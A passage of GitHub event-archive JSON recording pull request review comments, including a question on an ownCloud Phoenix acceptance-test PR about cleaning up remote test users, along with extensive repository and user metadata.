interface.","created_at":"2019-04-30T22:24:50Z","updated_at":"2019-04-30T22:24:50Z","html_url":"https://github.com/KhronosGroup/DockerContainers/pull/1#discussion_r279959364","pull_request_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/comments/279959364"},"html":{"href":"https://github.com/KhronosGroup/DockerContainers/pull/1#discussion_r279959364"},"pull_request":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1"}},"in_reply_to_id":279139969},"pull_request":{"url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1","id":274032084,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjc0MDMyMDg0","html_url":"https://github.com/KhronosGroup/DockerContainers/pull/1","diff_url":"https://github.com/KhronosGroup/DockerContainers/pull/1.diff","patch_url":"https://github.com/KhronosGroup/DockerContainers/pull/1.patch","issue_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues/1","number":1,"state":"closed","locked":false,"title":"Merge Ryan's changes.","user":{"login":"rpavlik","id":61129,"node_id":"MDQ6VXNlcjYxMTI5","avatar_url":"https://avatars0.githubusercontent.com/u/61129?v=4","gravatar_id":"","url":"https://api.github.com/users/rpavlik","html_url":"https://github.com/rpavlik","followers_url":"https://api.github.com/users/rpavlik/followers","following_url":"https://api.github.com/users/rpavlik/following{/other_user}","gists_url":"https://api.github.com/users/rpavlik/gists{/gist_id}","starred_url":"https://api.github.com/users/rpavlik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rpavlik/subscriptions","organizations_url":"https://api.github.com/users/rpavlik/orgs","repos_url":"https://api.github.com/users/rpavlik/repos","events_url":"https://api.github.com/users/rpavlik/events{/privacy}","received_events_url":"https://api.github.com/users/rpavlik/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-04-26T20:49:08Z","updated_at":"2019-04-30T22:24:50Z","closed_at":"2019-04-26T20:49:42Z","merged_at":"2019-04-26T20:49:42Z","merge_commit_sha":"1fcb4b21fdd17d68cc707e1b8bef7e5f5643eb99","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1/commits","review_comments_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1/comments","review_comment_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/comments{/number}","comments_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues/1/comments","statuses_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/statuses/bb86c1322a57c93cecbd23d90d39877b32ae8f51","head":{"label":"rpavlik:master","ref":"master","sha":"bb86c1322a57c93cecbd23d90d39877b32ae8f51","user":{"login":"rpavlik","id":61129,"node_id":"MDQ6VXNlcjYxMTI5","avatar_url":"https://avatars0.githubusercontent.com/u/61129?v=4","gravatar_id":"","url":"https://api.github.com/users/rpavlik","html_url":"https://github.com/rpavlik","followers_url":"https://api.github.com/users/rpavlik/followers","following_url":"https://api.github.com/users/rpavlik/following{/other_user}","gists_url":"https://api.github.com/users/rpavlik/gists{/gist_id}","starred_url":"https://api.github.com/users/rpavlik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rpavlik/subscriptions","organizations_url":"https://api.github.com/users/rpavlik/orgs","repos_url":"https://api.github.com/users/rpavlik/repos","events_url":"https://api.github.com/users/rpavlik/events{/privacy}","received_events_url":"https://api.github.com/users/rpavlik/received_events","type":"User","site_admin":false},"repo":null},"base":{"label":"KhronosGroup:master","ref":"master","sha":"61a772d74eac786235fccb64b76cea10d33bcf40","user":{"login":"KhronosGroup","id":1608701,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2MDg3MDE=","avatar_url":"https://avatars3.githubusercontent.com/u/1608701?v=4","gravatar_id":"","url":"https://api.github.com/users/KhronosGroup","html_url":"https://github.com/KhronosGroup","followers_url":"https://api.github.com/users/KhronosGroup/followers","following_url":"https://api.github.com/users/KhronosGroup/following{/other_user}","gists_url":"https://api.github.com/users/KhronosGroup/gists{/gist_id}","starred_url":"https://api.github.com/users/KhronosGroup/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KhronosGroup/subscriptions","organizations_url":"https://api.github.com/users/KhronosGroup/orgs","repos_url":"https://api.github.com/users/KhronosGroup/repos","events_url":"https://api.github.com/users/KhronosGroup/events{/privacy}","received_events_url":"https://api.github.com/users/KhronosGroup/received_events","type":"Organization","site_admin":false},"repo":{"id":179376466,"node_id":"MDEwOlJlcG9zaXRvcnkxNzkzNzY0NjY=","name":"DockerContainers","full_name":"KhronosGroup/DockerContainers","private":false,"owner":{"login":"KhronosGroup","id":1608701,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2MDg3MDE=","avatar_url":"https://avatars3.githubusercontent.com/u/1608701?v=4","gravatar_id":"","url":"https://api.github.com/users/KhronosGroup","html_url":"https://github.com/KhronosGroup","followers_url":"https://api.github.com/users/KhronosGroup/followers","following_url":"https://api.github.com/users/KhronosGroup/following{/other_user}","gists_url":"https://api.github.com/users/KhronosGroup/gists{/gist_id}","starred_url":"https://api.github.com/users/KhronosGroup/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KhronosGroup/subscriptions","organizations_url":"https://api.github.com/users/KhronosGroup/orgs","repos_url":"https://api.github.com/users/KhronosGroup/repos","events_url":"https://api.github.com/users/KhronosGroup/events{/privacy}","received_events_url":"https://api.github.com/users/KhronosGroup/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/KhronosGroup/DockerContainers","description":"Docker container specifications which package dependencies for building Khronos documentation and software","fork":false,"url":"https://api.github.com/repos/KhronosGroup/DockerContainers","forks_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/forks","keys_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/keys{/key_id}","collaborators_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/teams","hooks_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/hooks","issue_events_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues/events{/number}","events_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/events","assignees_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/assignees{/user}","branches_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/branches{/branch}","tags_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/tags","blobs_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/git/refs{/sha}","trees_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/git/trees{/sha}","statuses_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/statuses/{sha}","languages_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/languages","stargazers_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/stargazers","contributors_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/contributors","subscribers_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/subscribers","subscription_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/subscription","commits_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/commits{/sha}","git_commits_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/git/commits{/sha}","comments_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/comments{/number}","issue_comment_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues/comments{/number}","contents_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/contents/{+path}","compare_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/compare/{base}...{head}","merges_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/merges","archive_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/downloads","issues_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues{/number}","pulls_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls{/number}","milestones_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/milestones{/number}","notifications_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/labels{/name}","releases_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/releases{/id}","deployments_url":"https://api.github.com/repos/KhronosGroup/DockerContainers/deployments","created_at":"2019-04-03T21:59:36Z","updated_at":"2019-04-26T20:49:48Z","pushed_at":"2019-04-26T20:49:44Z","git_url":"git://github.com/KhronosGroup/DockerContainers.git","ssh_url":"git@github.com:KhronosGroup/DockerContainers.git","clone_url":"https://github.com/KhronosGroup/DockerContainers.git","svn_url":"https://github.com/KhronosGroup/DockerContainers","homepage":null,"size":9,"stargazers_count":0,"watchers_count":0,"language":"Dockerfile","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1"},"html":{"href":"https://github.com/KhronosGroup/DockerContainers/pull/1"},"issue":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues/1"},"comments":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/issues/1/comments"},"review_comments":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1/comments"},"review_comment":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/1/commits"},"statuses":{"href":"https://api.github.com/repos/KhronosGroup/DockerContainers/statuses/bb86c1322a57c93cecbd23d90d39877b32ae8f51"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 179376466,
"name": "KhronosGroup/DockerContainers",
"url": "https://api.github.com/repos/KhronosGroup/DockerContainers"
}
|
{
"id": 61129,
"login": "rpavlik",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/61129?",
"url": "https://api.github.com/users/rpavlik"
}
|
{
"id": 1608701,
"login": "KhronosGroup",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1608701?",
"url": "https://api.github.com/orgs/KhronosGroup"
}
| 2019-04-30T22:24:50 |
9541437865
|
{"actor":{"display_login":"rpavlik"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/owncloud/phoenix/pulls/comments/353554284","pull_request_review_id":326608487,"id":353554284,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM1MzU1NDI4NA==","diff_hunk":"@@ -176,9 +185,15 @@ Given('user {string} has been added to group {string}', function (userId, groupI\n })\n \n After(function () {\n- for (var userId in userSettings.getCreatedUsers()) {\n+ const createdUsers = userSettings.getCreatedUsers()\n+ const createdRemoteUsers = userSettings.getCreatedUsers('REMOTE')\n+\n+ for (var userId in createdUsers) {\n deleteUser(userId)\n }\n+ for (userId in createdRemoteUsers) {\n+ httpHelper.runOnRemoteServer(deleteUser, [userId])","path":"tests/acceptance/stepDefinitions/provisioningContext.js","position":70,"original_position":70,"commit_id":"64cc87cc4a4f7ef6174a548812976273e2cde572","original_commit_id":"64cc87cc4a4f7ef6174a548812976273e2cde572","user":{"login":"skshetry","id":18718008,"node_id":"MDQ6VXNlcjE4NzE4MDA4","avatar_url":"https://avatars0.githubusercontent.com/u/18718008?v=4","gravatar_id":"","url":"https://api.github.com/users/skshetry","html_url":"https://github.com/skshetry","followers_url":"https://api.github.com/users/skshetry/followers","following_url":"https://api.github.com/users/skshetry/following{/other_user}","gists_url":"https://api.github.com/users/skshetry/gists{/gist_id}","starred_url":"https://api.github.com/users/skshetry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/skshetry/subscriptions","organizations_url":"https://api.github.com/users/skshetry/orgs","repos_url":"https://api.github.com/users/skshetry/repos","events_url":"https://api.github.com/users/skshetry/events{/privacy}","received_events_url":"https://api.github.com/users/skshetry/received_events","type":"User","site_admin":false},"body":"Does that have anything to do with `httpHelper`? ","created_at":"2019-12-04T05:24:53Z","updated_at":"2019-12-04T05:52:32Z","html_url":"https://github.com/owncloud/phoenix/pull/2502#discussion_r353554284","pull_request_url":"https://api.github.com/repos/owncloud/phoenix/pulls/2502","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/owncloud/phoenix/pulls/comments/353554284"},"html":{"href":"https://github.com/owncloud/phoenix/pull/2502#discussion_r353554284"},"pull_request":{"href":"https://api.github.com/repos/owncloud/phoenix/pulls/2502"}}},"pull_request":{"url":"https://api.github.com/repos/owncloud/phoenix/pulls/2502","id":343246153,"node_id":"MDExOlB1bGxSZXF1ZXN0MzQzMjQ2MTUz","html_url":"https://github.com/owncloud/phoenix/pull/2502","diff_url":"https://github.com/owncloud/phoenix/pull/2502.diff","patch_url":"https://github.com/owncloud/phoenix/pull/2502.patch","issue_url":"https://api.github.com/repos/owncloud/phoenix/issues/2502","number":2502,"state":"open","locked":false,"title":"Add acceptance tests for federation sharing","user":{"login":"dpakach","id":19869344,"node_id":"MDQ6VXNlcjE5ODY5MzQ0","avatar_url":"https://avatars0.githubusercontent.com/u/19869344?v=4","gravatar_id":"","url":"https://api.github.com/users/dpakach","html_url":"https://github.com/dpakach","followers_url":"https://api.github.com/users/dpakach/followers","following_url":"https://api.github.com/users/dpakach/following{/other_user}","gists_url":"https://api.github.com/users/dpakach/gists{/gist_id}","starred_url":"https://api.github.com/users/dpakach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpakach/subscriptions","organizations_url":"https://api.github.com/users/dpakach/orgs","repos_url":"https://api.github.com/users/dpakach/repos","events_url":"https://api.github.com/users/dpakach/events{/privacy}","received_events_url":"https://api.github.com/users/dpakach/received_events","type":"User","site_admin":false},"body":"<!--\r\nThanks for submitting a change to ownCloud!\r\n\r\nThis is the bug tracker for Phoenix. Find other components at https://github.com/owncloud/core/blob/master/.github/CONTRIBUTING.md#guidelines\r\n\r\nFor fixing potential security issues please see https://owncloud.org/security/\r\n\r\nTo make it possible for us to get your change reviewed and merged please carefully fill out the requested information below.\r\n\r\nPlease note that any kind of change needs first be submitted to the master branch which holds the next major version of ownCloud.\r\n\r\nWe will carefully discuss if your change can or has to be backported to stable branches.\r\n\r\nPlease set the following labels:\r\n\r\n- Set label \"3 - To review\" for review or \"2 - Development\" in case the PR still has open tasks\r\n- Set label \"backport-request\" if backport is needed\r\n- Assignment: assign to self\r\n- Milestone: set the same as the ticket this PR fixes, or \"development\" by default\r\n- Reviewers: pick at least one\r\n-->\r\n\r\n## Description\r\n<!--- Describe your changes in detail -->\r\nAdd tests for sharing and receiving a file with federated cloud share using phoenix.\r\n\r\n## Related Issue\r\n<!--- This project only accepts pull requests related to open issues -->\r\n<!--- If suggesting a new feature or change, please discuss it in an issue first -->\r\n<!--- If fixing a bug, there should be an issue describing it with steps to reproduce -->\r\n<!--- Please link to the issue here: -->\r\n- Related #2477\r\n\r\n## Motivation and Context\r\n<!--- Why is this change required? What problem does it solve? -->\r\n\r\n## How Has This Been Tested?\r\n<!--- Please describe in detail how you tested your changes. -->\r\n<!--- Include details of your testing environment, and the tests you ran to -->\r\n<!--- see how your change affects other areas of the code, etc. -->\r\nlocally\r\n\r\n## Screenshots (if appropriate):\r\n\r\n## Types of changes\r\n<!--- What types of changes does your code introduce? Put an `x` in all the boxes that apply: -->\r\n- [ ] Bug fix (non-breaking change which fixes an issue)\r\n- [ ] New feature (non-breaking change which adds functionality)\r\n- [ ] Breaking change (fix or feature that would cause existing functionality to change)\r\n- [ ] Technical debt\r\n- [x] Tests\r\n\r\n## Checklist:\r\n<!-- Tick the checkboxes when done. -->\r\n<!-- Raise documentation ticket in https://github.com/owncloud/documentation -->\r\n- [ ] Code changes\r\n- [ ] Unit tests added\r\n- [x] Acceptance tests added\r\n- [ ] Documentation ticket raised: <link> \r\n\r\n## Open tasks:\r\n<!-- In case of incomplete PR, please list the open tasks here -->\r\n- [ ] ...","created_at":"2019-11-20T09:12:06Z","updated_at":"2019-12-04T05:52:32Z","closed_at":null,"merged_at":null,"merge_commit_sha":"4cb3f41f93a56bca272361da38873e44d49e318e","assignee":{"login":"dpakach","id":19869344,"node_id":"MDQ6VXNlcjE5ODY5MzQ0","avatar_url":"https://avatars0.githubusercontent.com/u/19869344?v=4","gravatar_id":"","url":"https://api.github.com/users/dpakach","html_url":"https://github.com/dpakach","followers_url":"https://api.github.com/users/dpakach/followers","following_url":"https://api.github.com/users/dpakach/following{/other_user}","gists_url":"https://api.github.com/users/dpakach/gists{/gist_id}","starred_url":"https://api.github.com/users/dpakach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpakach/subscriptions","organizations_url":"https://api.github.com/users/dpakach/orgs","repos_url":"https://api.github.com/users/dpakach/repos","events_url":"https://api.github.com/users/dpakach/events{/privacy}","received_events_url":"https://api.github.com/users/dpakach/received_events","type":"User","site_admin":false},"assignees":[{"login":"dpakach","id":19869344,"node_id":"MDQ6VXNlcjE5ODY5MzQ0","avatar_url":"https://avatars0.githubusercontent.com/u/19869344?v=4","gravatar_id":"","url":"https://api.github.com/users/dpakach","html_url":"https://github.com/dpakach","followers_url":"https://api.github.com/users/dpakach/followers","following_url":"https://api.github.com/users/dpakach/following{/other_user}","gists_url":"https://api.github.com/users/dpakach/gists{/gist_id}","starred_url":"https://api.github.com/users/dpakach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpakach/subscriptions","organizations_url":"https://api.github.com/users/dpakach/orgs","repos_url":"https://api.github.com/users/dpakach/repos","events_url":"https://api.github.com/users/dpakach/events{/privacy}","received_events_url":"https://api.github.com/users/dpakach/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"DeepDiver1975","id":1005065,"node_id":"MDQ6VXNlcjEwMDUwNjU=","avatar_url":"https://avatars2.githubusercontent.com/u/1005065?v=4","gravatar_id":"","url":"https://api.github.com/users/DeepDiver1975","html_url":"https://github.com/DeepDiver1975","followers_url":"https://api.github.com/users/DeepDiver1975/followers","following_url":"https://api.github.com/users/DeepDiver1975/following{/other_user}","gists_url":"https://api.github.com/users/DeepDiver1975/gists{/gist_id}","starred_url":"https://api.github.com/users/DeepDiver1975/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DeepDiver1975/subscriptions","organizations_url":"https://api.github.com/users/DeepDiver1975/orgs","repos_url":"https://api.github.com/users/DeepDiver1975/repos","events_url":"https://api.github.com/users/DeepDiver1975/events{/privacy}","received_events_url":"https://api.github.com/users/DeepDiver1975/received_events","type":"User","site_admin":false},{"login":"HariBhandari07","id":34328907,"node_id":"MDQ6VXNlcjM0MzI4OTA3","avatar_url":"https://avatars1.githubusercontent.com/u/34328907?v=4","gravatar_id":"","url":"https://api.github.com/users/HariBhandari07","html_url":"https://github.com/HariBhandari07","followers_url":"https://api.github.com/users/HariBhandari07/followers","following_url":"https://api.github.com/users/HariBhandari07/following{/other_user}","gists_url":"https://api.github.com/users/HariBhandari07/gists{/gist_id}","starred_url":"https://api.github.com/users/HariBhandari07/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HariBhandari07/subscriptions","organizations_url":"https://api.github.com/users/HariBhandari07/orgs","repos_url":"https://api.github.com/users/HariBhandari07/repos","events_url":"https://api.github.com/users/HariBhandari07/events{/privacy}","received_events_url":"https://api.github.com/users/HariBhandari07/received_events","type":"User","site_admin":false},{"login":"kiranparajuli589","id":39373750,"node_id":"MDQ6VXNlcjM5MzczNzUw","avatar_url":"https://avatars1.githubusercontent.com/u/39373750?v=4","gravatar_id":"","url":"https://api.github.com/users/kiranparajuli589","html_url":"https://github.com/kiranparajuli589","followers_url":"https://api.github.com/users/kiranparajuli589/followers","following_url":"https://api.github.com/users/kiranparajuli589/following{/other_user}","gists_url":"https://api.github.com/users/kiranparajuli589/gists{/gist_id}","starred_url":"https://api.github.com/users/kiranparajuli589/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kiranparajuli589/subscriptions","organizations_url":"https://api.github.com/users/kiranparajuli589/orgs","repos_url":"https://api.github.com/users/kiranparajuli589/repos","events_url":"https://api.github.com/users/kiranparajuli589/events{/privacy}","received_events_url":"https://api.github.com/users/kiranparajuli589/received_events","type":"User","site_admin":false},{"login":"jasson99","id":40829116,"node_id":"MDQ6VXNlcjQwODI5MTE2","avatar_url":"https://avatars3.githubusercontent.com/u/40829116?v=4","gravatar_id":"","url":"https://api.github.com/users/jasson99","html_url":"https://github.com/jasson99","followers_url":"https://api.github.com/users/jasson99/followers","following_url":"https://api.github.com/users/jasson99/following{/other_user}","gists_url":"https://api.github.com/users/jasson99/gists{/gist_id}","starred_url":"https://api.github.com/users/jasson99/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasson99/subscriptions","organizations_url":"https://api.github.com/users/jasson99/orgs","repos_url":"https://api.github.com/users/jasson99/repos","events_url":"https://api.github.com/users/jasson99/events{/privacy}","received_events_url":"https://api.github.com/users/jasson99/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":1198698418,"node_id":"MDU6TGFiZWwxMTk4Njk4NDE4","url":"https://api.github.com/repos/owncloud/phoenix/labels/3%20-%20To%20Review","name":"3 - To Review","color":"ededed","default":false,"description":""},{"id":1198698792,"node_id":"MDU6TGFiZWwxMTk4Njk4Nzky","url":"https://api.github.com/repos/owncloud/phoenix/labels/QA-team","name":"QA-team","color":"4cc948","default":false,"description":null},{"id":1198698456,"node_id":"MDU6TGFiZWwxMTk4Njk4NDU2","url":"https://api.github.com/repos/owncloud/phoenix/labels/dev:acceptance-tests","name":"dev:acceptance-tests","color":"ff9966","default":false,"description":""}],"milestone":null,"commits_url":"https://api.github.com/repos/owncloud/phoenix/pulls/2502/commits","review_comments_url":"https://api.github.com/repos/owncloud/phoenix/pulls/2502/comments","review_comment_url":"https://api.github.com/repos/owncloud/phoenix/pulls/comments{/number}","comments_url":"https://api.github.com/repos/owncloud/phoenix/issues/2502/comments","statuses_url":"https://api.github.com/repos/owncloud/phoenix/statuses/64cc87cc4a4f7ef6174a548812976273e2cde572","head":{"label":"owncloud:federation-sharing-test","ref":"federation-sharing-test","sha":"64cc87cc4a4f7ef6174a548812976273e2cde572","user":{"login":"owncloud","id":1645051,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2NDUwNTE=","avatar_url":"https://avatars3.githubusercontent.com/u/1645051?v=4","gravatar_id":"","url":"https://api.github.com/users/owncloud","html_url":"https://github.com/owncloud","followers_url":"https://api.github.com/users/owncloud/followers","following_url":"https://api.github.com/users/owncloud/following{/other_user}","gists_url":"https://api.github.com/users/owncloud/gists{/gist_id}","starred_url":"https://api.github.com/users/owncloud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/owncloud/subscriptions","organizations_url":"https://api.github.com/users/owncloud/orgs","repos_url":"https://api.github.com/users/owncloud/repos","events_url":"https://api.github.com/users/owncloud/events{/privacy}","received_events_url":"https://api.github.com/users/owncloud/received_events","type":"Organization","site_admin":false},"repo":{"id":121770401,"node_id":"MDEwOlJlcG9zaXRvcnkxMjE3NzA0MDE=","name":"phoenix","full_name":"owncloud/phoenix","private":false,"owner":{"login":"owncloud","id":1645051,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2NDUwNTE=","avatar_url":"https://avatars3.githubusercontent.com/u/1645051?v=4","gravatar_id":"","url":"https://api.github.com/users/owncloud","html_url":"https://github.com/owncloud","followers_url":"https://api.github.com/users/owncloud/followers","following_url":"https://api.github.com/users/owncloud/following{/other_user}","gists_url":"https://api.github.com/users/owncloud/gists{/gist_id}","starred_url":"https://api.github.com/users/owncloud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/owncloud/subscriptions","organizations_url":"https://api.github.com/users/owncloud/orgs","repos_url":"https://api.github.com/users/owncloud/repos","events_url":"https://api.github.com/users/owncloud/events{/privacy}","received_events_url":"https://api.github.com/users/owncloud/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/owncloud/phoenix","description":"Next generation frontend for ownCloud","fork":false,"url":"https://api.github.com/repos/owncloud/phoenix","forks_url":"https://api.github.com/repos/owncloud/phoenix/forks","keys_url":"https://api.github.com/repos/owncloud/phoenix/keys{/key_id}","collaborators_url":"https://api.github.com/repos/owncloud/phoenix/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/owncloud/phoenix/teams","hooks_url":"https://api.github.com/repos/owncloud/phoenix/hooks","issue_events_url":"https://api.github.com/repos/owncloud/phoenix/issues/events{/number}","events_url":"https://api.github.com/repos/owncloud/phoenix/events","assignees_url":"https://api.github.com/repos/owncloud/phoenix/assignees{/user}","branches_url":"https://api.github.com/repos/owncloud/phoenix/branches{/branch}","tags_url":"https://api.github.com/repos/owncloud/phoenix/tags","blobs_url":"https://api.github.com/repos/owncloud/phoenix/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/owncloud/phoenix/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/owncloud/phoenix/git/refs{/sha}","trees_url":"https://api.github.com/repos/owncloud/phoenix/git/trees{/sha}","statuses_url":"https://api.github.com/repos/owncloud/phoenix/statuses/{sha}","languages_url":"https://api.github.com/repos/owncloud/phoenix/languages","stargazers_url":"https://api.github.com/repos/owncloud/phoenix/stargazers","contributors_url":"https://api.github.com/repos/owncloud/phoenix/contributors","subscribers_url":"https://api.github.com/repos/owncloud/phoenix/subscribers","subscription_url":"https://api.github.com/repos/owncloud/phoenix/subscription","commits_url":"https://api.github.com/repos/owncloud/phoenix/commits{/sha}","git_commits_url":"https://api.github.com/repos/owncloud/phoenix/git/commits{/sha}","comments_url":"https://api.github.com/repos/owncloud/phoenix/comments{/number}","issue_comment_url":"https://api.github.com/repos/owncloud/phoenix/issues/comments{/number}","contents_url":"https://api.github.com/repos/owncloud/phoenix/contents/{+path}","compare_url":"https://api.github.com/repos/owncloud/phoenix/compare/{base}...{head}","merges_url":"https://api.github.com/repos/owncloud/phoenix/merges","archive_url":"https://api.github.com/repos/owncloud/phoenix/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/owncloud/phoenix/downloads","issues_url":"https://api.github.com/repos/owncloud/phoenix/issues{/number}","pulls_url":"https://api.github.com/repos/owncloud/phoenix/pulls{/number}","milestones_url":"https://api.github.com/repos/owncloud/phoenix/milestones{/number}","notifications_url":"https://api.github.com/repos/owncloud/phoenix/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/owncloud/phoenix/labels{/name}","releases_url":"https://api.github.com/repos/owncloud/phoenix/releases{/id}","deployments_url":"https://api.github.com/repos/owncloud/phoenix/deployments","created_at":"2018-02-16T16:05:05Z","updated_at":"2019-12-03T09:57:29Z","pushed_at":"2019-12-04T05:47:28Z","git_url":"git://github.com/owncloud/phoenix.git","ssh_url":"git@github.com:owncloud/phoenix.git","clone_url":"https://github.com/owncloud/phoenix.git","svn_url":"https://github.com/owncloud/phoenix","homepage":"https://phoenix.owncloud.com/custom/phoenix/index.html#/login","size":21732,"stargazers_count":119,"watchers_count":119,"language":"Gherkin","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":32,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":237,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":32,"open_issues":237,"watchers":119,"default_branch":"master"}},"base":{"label":"owncloud:master","ref":"master","sha":"955009dfd61f4563ec0d960c022ae6bd834a6cda","user":{"login":"owncloud","id":1645051,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2NDUwNTE=","avatar_url":"https://avatars3.githubusercontent.com/u/1645051?v=4","gravatar_id":"","url":"https://api.github.com/users/owncloud","html_url":"https://github.com/owncloud","followers_url":"https://api.github.com/users/owncloud/followers","following_url":"https://api.github.com/users/owncloud/following{/other_user}","gists_url":"https://api.github.com/users/owncloud/gists{/gist_id}","starred_url":"https://api.github.com/users/owncloud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/owncloud/subscriptions","organizations_url":"https://api.github.com/users/owncloud/orgs","repos_url":"https://api.github.com/users/owncloud/repos","events_url":"https://api.github.com/users/owncloud/events{/privacy}","received_events_url":"https://api.github.com/users/owncloud/received_events","type":"Organization","site_admin":false},"repo":{"id":121770401,"node_id":"MDEwOlJlcG9zaXRvcnkxMjE3NzA0MDE=","name":"phoenix","full_name":"owncloud/phoenix","private":false,"owner":{"login":"owncloud","id":1645051,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2NDUwNTE=","avatar_url":"https://avatars3.githubusercontent.com/u/1645051?v=4","gravatar_id":"","url":"https://api.github.com/users/owncloud","html_url":"https://github.com/owncloud","followers_url":"https://api.github.com/users/owncloud/followers","following_url":"https://api.github.com/users/owncloud/following{/other_user}","gists_url":"https://api.github.com/users/owncloud/gists{/gist_id}","starred_url":"https://api.github.com/users/owncloud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/owncloud/subscriptions","organizations_url":"https://api.github.com/users/owncloud/orgs","repos_url":"https://api.github.com/users/owncloud/repos","events_url":"https://api.github.com/users/owncloud/